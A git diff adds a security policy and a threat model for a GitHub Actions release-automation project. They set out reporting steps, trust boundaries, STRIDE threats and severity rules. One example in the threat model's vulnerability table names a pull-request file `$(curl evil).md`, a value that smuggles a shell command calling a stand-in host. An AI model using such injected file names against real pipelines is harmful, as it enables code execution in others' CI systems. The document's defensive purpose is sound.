diff --git a/.github/SECURITY.md b/.github/SECURITY.md new file mode 100644 index 0000000..5241ff3 --- /dev/null +++ b/.github/SECURITY.md @@ -0,0 +1,52 @@ +# Security policy + +github-workflows is a set of composite actions and reusable workflows that check pull request news and locks, prepare +and tag releases, and publish them to PyPI, GitHub and the JetBrains Marketplace. This policy says how to report a +security problem and how we decide whether a report is one. + +## Reporting a vulnerability + +**Do not open a public issue for a security problem.** Use +[GitHub's private vulnerability reporting](https://github.com/tox-dev/github-workflows/security/advisories/new). If +neither works for you, email [gaborjbernat@gmail.com](mailto:gaborjbernat@gmail.com). + +Include what the attacker controls and what they gain, the steps or a proof of concept, and the versions and platform +you tested. Write the report yourself; unreviewed tool or model output takes longer to triage. + +## What to expect + +Volunteers maintain github-workflows, with no on-call rotation. We aim to acknowledge a report within **5 working days** +and assess it within **15 working days**. Fixes are developed in a private fork attached to the draft advisory, ship in +a new release, and the advisory, with a CVE requested through GitHub, goes out with that release. The default embargo is +**90 days** from the report; we agree any change with the reporter. We credit reporters in the advisory under the name +they choose, or not at all. There is no bug bounty. + +## Supported versions + +Only the latest release receives fixes. Callers pin a full commit SHA; Dependabot moves the pin. + +## Vulnerability or bug + +A report is a vulnerability when an attacker who controls only an input that the [threat model](THREAT_MODEL.md) lists +as untrusted breaks a guarantee github-workflows makes. A report that first needs control of something the threat model +trusts, such as a calling workflow's triggers, permissions or secrets, or a maintainer-approved release dispatch, is a +bug: we fix it in the open and publish no advisory. Classify by who supplies the dangerous input, not by how bad the +outcome sounds. + +**In scope** + +- Pull request content (fragments, locks, `pyproject.toml`) reaching a shell as code, or gaining a write token or a + secret. +- A release patch that `validate-release-patch` accepts although it touches paths other than the changelog and fragment + deletions, or changes file modes. +- A step that publishes files whose digests or attestations do not match what the build produced. +- A locked tool installed without its hash check, or any tool installed ahead of its upload cutoff. +- An App token or credential reaching a step that runs project or third-party code. + +**Out of scope** + +- How a calling repository configures its triggers, environments, rulesets and secrets. +- Code the caller's own build runs: the build job is read-only by design, and only its outputs are verified. +- Vulnerabilities in GitHub Actions, PyPI or the JetBrains Marketplace themselves. + +If you cannot tell which side a finding falls on, report it privately and we will decide. diff --git a/.github/THREAT_MODEL.md b/.github/THREAT_MODEL.md new file mode 100644 index 0000000..4ab014d --- /dev/null +++ b/.github/THREAT_MODEL.md @@ -0,0 +1,99 @@ +# Threat model + +This model says what github-workflows trusts, where untrusted input enters, and which guarantees hold at each boundary, +so a report can be classified as a vulnerability or a bug. [SECURITY.md](SECURITY.md) covers reporting; if the two +disagree, SECURITY.md wins and we fix this file. + +## How github-workflows works + +A release is split between jobs with different rights. Read-only jobs check news, build the changelog and release patch, +build distributions from a hash-checked lock, and render notes. A writer job in the caller's `release-auth` environment +mints a GitHub App token, applies only a patch that `validate-release-patch` accepts, and pushes the release commit and +tag. Publishing jobs reconcile PyPI's file digests and trusted-publisher attestations with the build, and create an +immutable GitHub Release whose assets they verify. Every action is SHA-pinned. Release tools come from a hash-checked +`pylock.toml`; the few helpers the actions install for themselves, such as the lock reader and the attestation verifier, +come from PyPI under a seven-day upload cutoff. + +```mermaid +flowchart LR + pr[("PR content
(untrusted)")] -->|"validate-news, lock check
read-only"| ro["Read-only jobs"] + ro -->|"release.patch, dists,
notes artifacts"| wr["Writer job
release-auth App token"] + wr -->|"validate-release-patch,
commit and tag"| repo[("Repository")] + ro -->|"dists"| pub["Publish jobs"] + pub -->|"trusted publishing,
digest + attestation check"| pypi[("PyPI")] + pub -->|"immutable release"| ghr[("GitHub Release")] + classDef trusted fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a; + classDef boundary fill:#ffe3a3,stroke:#d29200,color:#3a2c00; + class wr,pub trusted; + class pr,ro,repo,pypi,ghr boundary; +``` + +## Compared with similar tools + +We drew the boundary where comparable projects in other ecosystems draw theirs. The shared rule, stated by the +[Node.js threat model](https://github.com/nodejs/node/blob/main/SECURITY.md#the-nodejs-threat-model), is that a report +which first needs a trusted element compromised is out of scope; the first triage question, as +[DOMPurify](https://github.com/cure53/DOMPurify/blob/main/SECURITY.md#what-we-consider-a-vulnerability) puts it, is what +the attacker controls. + +| Project | Language | Where it draws the line | +| ------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------- | ------------------------------------------------------------------------------------------------------------------------------------ | +| [slsa-github-generator](https://github.com/slsa-framework/slsa-github-generator/security/policy) | GitHub Actions | Reusable workflows that hold signing identity; help tuning a caller's workflow is not a vulnerability. | +| [GitHub Actions hardening guide](https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions) | Actions | Untrusted input reaches scripts only through environment variables; jobs that run untrusted code get no secrets. | +| [GoReleaser](https://github.com/goreleaser/goreleaser/security/policy) | Go | Release automation; in scope is anything that compromises the confidentiality, integrity or availability of GoReleaser or its users. | + +## Trusted + +An attacker who controls any of these already has what github-workflows could give them: + +- The calling workflow, its trigger, environments, rulesets and the maintainer who dispatches a release. +- GitHub, the runners, PyPI and the JetBrains Marketplace. +- The SHA-pinned actions and the locked tools. + +## Untrusted inputs + +| Input | Comes from | What github-workflows guarantees | +| ----------------------------- | --------------------------- | ----------------------------------------------------------------------------------------------- | +| Pull request files | Any contributor | Read by read-only jobs only; inputs reach shells through environment variables. | +| Artifacts from read-only jobs | Jobs that ran project code | The writer accepts only the changelog and fragment deletions, as regular files, from the patch. | +| Files already on PyPI | A partial or earlier upload | Digests and attestations must match before the GitHub Release is published. | + +## Threats and controls + +| STRIDE | Threat | Control | +| ---------------------- | --------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------- | +| Tampering | A compromised build job smuggles a workflow change into the release commit. | `validate-release-patch` path and mode allowlist. | +| Elevation of privilege | PR code reads the release App token. | The token is minted only in the writer job, which runs no project code. | +| Tampering | A freshly published malicious tool version enters the release toolchain. | Hash-checked locks resolved with a seven-day upload cooldown, and the same cutoff for helper tools. | +| Repudiation | Release commits cannot be traced to an approved run. | Commits and tags are authored by the App from a recorded workflow run. | + +## Release chain + +Releases of this repository use its own workflows: the release App pushes the tag, and the GitHub Release is immutable. +Callers pin the full commit SHA of a release. + +## Vulnerability or bug + +| Report | Verdict | Why | +| ----------------------------------------------------------- | ------------- | -------------------------------- | +| A fragment named `$(curl evil).md` runs in `validate-news` | Vulnerability | PR data reached a shell as code. | +| A release patch that edits `.github/workflows/` is accepted | Vulnerability | Allowlist bypass. | +| A caller runs the writer on `pull_request_target` | Not ours | Caller configuration. | +| A tool update waits seven days to land | Expected | The cooldown is deliberate. | + +## Severity + +- **High:** pull request content runs as shell code in a job with a write token or secret, an App token reaches a step + that runs project or third-party code, or files are published whose digests or attestations do not match the build. +- **Medium:** `validate-release-patch` accepts a path or mode outside its allowlist, or a tool skips its hash check or + upload cutoff. +- **Low:** a job fails or misreports without crossing a boundary. + +## Accepted risks + +- The build job runs the project's own build backend; its outputs, not its behavior, are verified. + +## Keeping this current + +Revisit this model when github-workflows gains a new input source, network access, a new way to run code, or a new place +it writes to, and whenever an advisory is published.